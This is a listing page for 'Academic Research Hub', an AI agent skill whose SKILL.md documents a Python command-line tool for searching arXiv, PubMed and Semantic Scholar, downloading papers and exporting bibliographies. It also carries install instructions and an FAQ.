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Academic Research Hub

CommunityPopular
LeoYeAI
academic-research-hub

Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to "find papers on", "search research about", "download academic articles", "get citations for", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery. Requires OpenClawCLI installation from clawhub.ai.

Overview

PublisherLeoYeAI
Repositoryopenclaw-master-skills
Skill nameacademic-research-hub
Stars
2.1K
Forks
325
Bundled files
3
LicenseProprietary
Links
Skill sourceRepositoryHomepage
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 3 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by LeoYeAI on GitHub. Read the source before you install it.

Installation

Install the Academic Research Hub AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/LeoYeAI/openclaw-master-skills.git /tmp/openclaw-master-skills
mkdir -p .claude/skills
cp -r /tmp/openclaw-master-skills/skills/academic-research-hub .claude/skills/academic-research-hub
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Academic Research Hub in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Academic Research Hub on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Academic Research Hub is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Academic Research Hub

Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation Best Practices:

bash
# Standard installation
pip install arxiv scholarly pubmed-parser semanticscholar requests

# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests

Never use --break-system-packages as it can damage your system's Python installation.

Quick Reference

TaskCommand
Search arXivpython scripts/research.py arxiv "quantum computing"
Search PubMedpython scripts/research.py pubmed "covid vaccine"
Search Semantic Scholarpython scripts/research.py semantic "machine learning"
Download paperspython scripts/research.py arxiv "topic" --download
Get citationspython scripts/research.py arxiv "topic" --citations
Generate bibliographypython scripts/research.py arxiv "topic" --format bibtex
Save resultspython scripts/research.py arxiv "topic" --output results.json

Core Features

1. Multi-Source Search

Search across multiple academic databases from a single interface.

Supported Sources:

  • arXiv - Physics, mathematics, computer science, quantitative biology, quantitative finance, statistics
  • PubMed - Biomedical and life sciences literature
  • Semantic Scholar - Computer science and interdisciplinary research
  • Google Scholar - Broad academic search (limited, no API)

2. Paper Download

Download full-text PDFs when available.

bash
python scripts/research.py arxiv "deep learning" --download --output-dir papers/

3. Citation Extraction

Extract and format citations from papers.

Supported formats:

  • BibTeX
  • RIS
  • JSON
  • Plain text

4. Metadata Retrieval

Get comprehensive metadata for each paper:

  • Title, authors, abstract
  • Publication date
  • Journal/conference
  • DOI, arXiv ID, PubMed ID
  • Citation count
  • References

Source-Specific Commands

arXiv Search

Search the arXiv repository for preprints.

bash
# Basic search
python scripts/research.py arxiv "quantum computing"

# Filter by category
python scripts/research.py arxiv "neural networks" --category cs.LG

# Filter by date
python scripts/research.py arxiv "transformers" --year 2023

# Download papers
python scripts/research.py arxiv "attention mechanism" --download --max-results 10

Available categories:

  • cs.AI - Artificial Intelligence
  • cs.LG - Machine Learning
  • cs.CV - Computer Vision
  • cs.CL - Computation and Language
  • math.CO - Combinatorics
  • physics.optics - Optics
  • q-bio.GN - Genomics
  • Full list

Output:

1. Attention Is All You Need
   Authors: Vaswani et al.
   Published: 2017-06-12
   arXiv ID: 1706.03762
   Categories: cs.CL, cs.LG
   Abstract: The dominant sequence transduction models...
   PDF: http://arxiv.org/pdf/1706.03762v5

PubMed Search

Search biomedical literature indexed in PubMed.

bash
# Basic search
python scripts/research.py pubmed "cancer immunotherapy"

# Filter by date range
python scripts/research.py pubmed "CRISPR" --start-date 2023-01-01 --end-date 2023-12-31

# Filter by publication type
python scripts/research.py pubmed "covid vaccine" --publication-type "Clinical Trial"

# Get full text links
python scripts/research.py pubmed "gene therapy" --full-text

Publication types:

  • Clinical Trial
  • Meta-Analysis
  • Review
  • Systematic Review
  • Randomized Controlled Trial

Output:

1. mRNA vaccine effectiveness against COVID-19
   Authors: Smith J, Jones K, et al.
   Journal: New England Journal of Medicine
   Published: 2023-03-15
   PMID: 36913851
   DOI: 10.1056/NEJMoa2301234
   Abstract: Background: mRNA vaccines have shown...
   Full Text: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9876543/

Semantic Scholar Search

Search computer science and interdisciplinary research.

bash
# Basic search
python scripts/research.py semantic "reinforcement learning"

# Filter by year
python scripts/research.py semantic "graph neural networks" --year 2022

# Get highly cited papers
python scripts/research.py semantic "transformers" --min-citations 100

# Include references
python scripts/research.py semantic "BERT" --include-references

Output includes:

  • Citation count
  • Influential citation count
  • Reference list
  • Citing papers
  • Fields of study

Output:

1. BERT: Pre-training of Deep Bidirectional Transformers
   Authors: Devlin J, Chang MW, Lee K, Toutanova K
   Published: 2019
   Paper ID: df2b0e26d0599ce3e70df8a9da02e51594e0e992
   Citations: 15000+
   Influential Citations: 2000+
   Fields: Computer Science, Linguistics
   Abstract: We introduce a new language representation model...
   PDF: https://arxiv.org/pdf/1810.04805.pdf

Essential Options

Result Limits

Control the number of results returned.

bash
--max-results N    # Default: 10, range: 1-100

Examples:

bash
python scripts/research.py arxiv "machine learning" --max-results 5
python scripts/research.py pubmed "diabetes" --max-results 50

Output Formats

Choose how results are formatted.

bash
--format <text|json|bibtex|ris|markdown>

Text - Human-readable format (default)

bash
python scripts/research.py arxiv "quantum" --format text

JSON - Structured data for processing

bash
python scripts/research.py arxiv "quantum" --format json

BibTeX - For LaTeX documents

bash
python scripts/research.py arxiv "quantum" --format bibtex

RIS - For reference managers (Zotero, Mendeley)

bash
python scripts/research.py arxiv "quantum" --format ris

Markdown - For documentation

bash
python scripts/research.py arxiv "quantum" --format markdown

Save to File

Save results to a file.

bash
--output <filepath>

Examples:

bash
python scripts/research.py arxiv "AI" --output results.txt
python scripts/research.py pubmed "cancer" --format json --output papers.json
python scripts/research.py semantic "NLP" --format bibtex --output references.bib

Download Papers

Download full-text PDFs when available.

bash
--download
--output-dir <directory>    # Where to save PDFs (default: downloads/)

Examples:

bash
# Download to default directory
python scripts/research.py arxiv "deep learning" --download --max-results 5

# Download to specific directory
python scripts/research.py arxiv "transformers" --download --output-dir papers/nlp/

Advanced Features

Citation Extraction

Extract citations from papers.

bash
--citations              # Extract citations
--citation-format <format>    # bibtex, ris, json (default: bibtex)

Example:

bash
python scripts/research.py arxiv "attention mechanism" --citations --citation-format bibtex --output citations.bib

Date Filtering

Filter by publication date.

arXiv:

bash
--year <YYYY>           # Specific year
--start-date <YYYY-MM-DD>
--end-date <YYYY-MM-DD>

PubMed:

bash
--start-date <YYYY-MM-DD>
--end-date <YYYY-MM-DD>

Examples:

bash
python scripts/research.py arxiv "quantum" --year 2023
python scripts/research.py pubmed "vaccine" --start-date 2022-01-01 --end-date 2023-12-31

Author Search

Search for papers by specific authors.

bash
--author "Last, First"

Examples:

bash
python scripts/research.py arxiv "neural networks" --author "Hinton, Geoffrey"
python scripts/research.py semantic "deep learning" --author "Bengio, Yoshua"

Sort Options

Sort results by different criteria.

bash
--sort-by <relevance|date|citations>

Examples:

bash
python scripts/research.py arxiv "machine learning" --sort-by date
python scripts/research.py semantic "NLP" --sort-by citations

Common Workflows

Literature Review

Gather papers on a topic for a literature review.

bash
# Step 1: Search multiple sources
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format json --output arxiv_gnn.json
python scripts/research.py semantic "graph neural networks" --max-results 20 --format json --output semantic_gnn.json

# Step 2: Download key papers
python scripts/research.py arxiv "graph neural networks" --download --max-results 10 --output-dir papers/gnn/

# Step 3: Generate bibliography
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format bibtex --output gnn_references.bib

Finding Recent Research

Track the latest papers in a field.

bash
# Last year's papers
python scripts/research.py arxiv "large language models" --year 2023 --sort-by date --max-results 30

# Last month's biomedical papers
python scripts/research.py pubmed "gene therapy" --start-date 2023-11-01 --end-date 2023-11-30 --format markdown --output recent_gene_therapy.md

Highly Cited Papers

Find influential papers in a field.

bash
python scripts/research.py semantic "reinforcement learning" --min-citations 500 --sort-by citations --max-results 25

Author Publication History

Track an author's work.

bash
python scripts/research.py arxiv "deep learning" --author "LeCun, Yann" --sort-by date --max-results 50 --output lecun_papers.json

Building a Reference Library

Create a comprehensive reference collection.

bash
# Create directory structure
mkdir -p references/{papers,citations}

# Search and download papers
python scripts/research.py arxiv "transformers NLP" --download --max-results 15 --output-dir references/papers/

# Generate citations
python scripts/research.py arxiv "transformers NLP" --max-results 15 --format bibtex --output references/citations/transformers.bib

Cross-Source Validation

Verify findings across multiple databases.

bash
# Search same topic across sources
python scripts/research.py arxiv "federated learning" --max-results 10 --output arxiv_fl.txt
python scripts/research.py semantic "federated learning" --max-results 10 --output semantic_fl.txt
python scripts/research.py pubmed "federated learning" --max-results 10 --output pubmed_fl.txt

# Compare results
diff arxiv_fl.txt semantic_fl.txt

Output Format Examples

Text Format (Default)

Search Results: 3 papers found

1. Attention Is All You Need
   Authors: Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.
   Published: 2017-06-12
   arXiv ID: 1706.03762
   Categories: cs.CL, cs.LG
   Abstract: The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...
   PDF: http://arxiv.org/pdf/1706.03762v5

2. BERT: Pre-training of Deep Bidirectional Transformers
   Authors: Devlin, Jacob; Chang, Ming-Wei; Lee, Kenton; Toutanova, Kristina
   Published: 2018-10-11
   arXiv ID: 1810.04805
   Categories: cs.CL
   Abstract: We introduce a new language representation model called BERT...
   PDF: http://arxiv.org/pdf/1810.04805v2

JSON Format

json
[
  {
    "title": "Attention Is All You Need",
    "authors": ["Vaswani, Ashish", "Shazeer, Noam", "Parmar, Niki"],
    "published": "2017-06-12",
    "arxiv_id": "1706.03762",
    "categories": ["cs.CL", "cs.LG"],
    "abstract": "The dominant sequence transduction models...",
    "pdf_url": "http://arxiv.org/pdf/1706.03762v5",
    "doi": "10.48550/arXiv.1706.03762"
  }
]

BibTeX Format

bibtex
@article{vaswani2017attention,
  title={Attention Is All You Need},
  author={Vaswani, Ashish and Shazeer, Noam and Parmar, Niki and Uszkoreit, Jakob and Jones, Llion and Gomez, Aidan N and Kaiser, {\L}ukasz and Polosukhin, Illia},
  journal={arXiv preprint arXiv:1706.03762},
  year={2017},
  url={http://arxiv.org/abs/1706.03762}
}

RIS Format

TY  - JOUR
TI  - Attention Is All You Need
AU  - Vaswani, Ashish
AU  - Shazeer, Noam
AU  - Parmar, Niki
PY  - 2017
DA  - 2017/06/12
JO  - arXiv preprint
VL  - arXiv:1706.03762
UR  - http://arxiv.org/abs/1706.03762
ER  -

Markdown Format

markdown
# Search Results: 3 papers found

## 1. Attention Is All You Need

**Authors:** Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.

**Published:** 2017-06-12

**arXiv ID:** 1706.03762

**Categories:** cs.CL, cs.LG

**Abstract:** The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...

**PDF:** [Download](http://arxiv.org/pdf/1706.03762v5)

Best Practices

Search Strategy

  1. Start broad - Use general terms to get an overview
  2. Refine iteratively - Add filters based on initial results
  3. Use multiple sources - Cross-reference findings
  4. Check recent papers - Use date filters for current research

Result Management

  1. Save searches - Use --output to preserve results
  2. Organize downloads - Create logical directory structures
  3. Export citations early - Generate BibTeX as you search
  4. Track sources - Note which database returned which papers

Download Guidelines

  1. Respect rate limits - Don't download hundreds of papers at once
  2. Check licensing - Verify you have rights to use papers
  3. Organize by topic - Use clear directory names
  4. Keep metadata - Save JSON alongside PDFs

Citation Practices

  1. Verify citations - Check DOIs and URLs
  2. Use standard formats - BibTeX for LaTeX, RIS for reference managers
  3. Include abstracts - Helpful for later review
  4. Update regularly - Re-run searches for new papers

Troubleshooting

Installation Issues

"Missing required dependency"

bash
# Install all dependencies
pip install arxiv scholarly pubmed-parser semanticscholar requests

# Or use virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests

"OpenClawCLI not found"

Search Issues

"No results found"

  • Try broader search terms
  • Check spelling and terminology
  • Remove restrictive filters
  • Try a different database

"Rate limit exceeded"

  • Wait a few minutes before retrying
  • Reduce --max-results value
  • Space out requests

"Download failed"

  • Check internet connection
  • Some papers may not have PDFs available
  • Verify you have permissions to access
  • Try downloading individually

API Issues

"API timeout"

  • The service may be temporarily unavailable
  • Retry after a moment
  • Check status at respective service websites

"Invalid API response"

  • Check if the service is down
  • Verify your query syntax
  • Try simpler queries

Limitations

Access Restrictions

  • Not all papers have downloadable PDFs
  • Some content requires institutional access
  • Paywalled journals may only show abstracts
  • Google Scholar has strict rate limits

Data Completeness

  • Citation counts may be outdated
  • Not all metadata fields available for every paper
  • Some older papers may have incomplete records
  • Preprints may not have final publication info

Search Capabilities

  • Boolean operators vary by source
  • No unified query syntax across databases
  • Some databases don't support all filters
  • Results may differ from web interface searches

Legal Considerations

  • Respect copyright and licensing
  • Don't redistribute downloaded papers
  • Follow institutional access policies
  • Check terms of service for each database

Command Reference

bash
python scripts/research.py <source> "<query>" [OPTIONS]

SOURCES:
  arxiv              Search arXiv repository
  pubmed             Search PubMed database
  semantic           Search Semantic Scholar

REQUIRED:
  query              Search query string (in quotes)

GENERAL OPTIONS:
  -n, --max-results  Maximum results (default: 10, max: 100)
  -f, --format       Output format (text|json|bibtex|ris|markdown)
  -o, --output       Save to file path
  --sort-by          Sort by (relevance|date|citations)

FILTERING:
  --year             Filter by specific year (YYYY)
  --start-date       Start date (YYYY-MM-DD)
  --end-date         End date (YYYY-MM-DD)
  --author           Author name
  --min-citations    Minimum citation count

ARXIV-SPECIFIC:
  --category         arXiv category (e.g., cs.AI, cs.LG)

PUBMED-SPECIFIC:
  --publication-type Publication type filter
  --full-text        Include full text links

SEMANTIC-SPECIFIC:
  --include-references   Include paper references

DOWNLOAD:
  --download         Download paper PDFs
  --output-dir       Download directory (default: downloads/)

CITATIONS:
  --citations        Extract citations
  --citation-format  Citation format (bibtex|ris|json)

HELP:
  --help             Show all options

Examples by Use Case

Quick Search

bash
# Find recent papers
python scripts/research.py arxiv "quantum computing"

# Search biomedical literature
python scripts/research.py pubmed "alzheimer disease"

Comprehensive Research

bash
# Search multiple sources
python scripts/research.py arxiv "neural networks" --max-results 30 --output arxiv.json
python scripts/research.py semantic "neural networks" --max-results 30 --output semantic.json

# Download important papers
python scripts/research.py arxiv "neural networks" --download --max-results 10

Citation Management

bash
# Generate BibTeX
python scripts/research.py arxiv "deep learning" --format bibtex --output dl_refs.bib

# Export to reference manager
python scripts/research.py pubmed "gene editing" --format ris --output genes.ris

Tracking New Research

bash
# This month's papers
python scripts/research.py arxiv "LLM" --start-date 2024-01-01 --sort-by date

# Recent highly-cited work
python scripts/research.py semantic "transformers" --year 2023 --min-citations 50

Support

For issues or questions:

  1. Check this documentation
  2. Run python scripts/research.py --help
  3. Verify dependencies are installed
  4. Check database-specific documentation

Resources:

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Academic Research Hub AI skill do?

Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to "find papers on", "search research about", "download academic articles", "get citations for", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery. Requires OpenClawCLI installation from clawhub.ai.

Why use Academic Research Hub on TypingMind?

Because you install it once and use it with any model. Academic Research Hub is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Academic Research Hub in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/LeoYeAI/openclaw-master-skills/tree/main/skills/academic-research-hub. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Academic Research Hub?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Academic Research Hub?

As many as you like. As long as a model supports skills, you can use Academic Research Hub with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Academic Research Hub AI skill free?

Yes. It is published on GitHub by LeoYeAI under the Proprietary license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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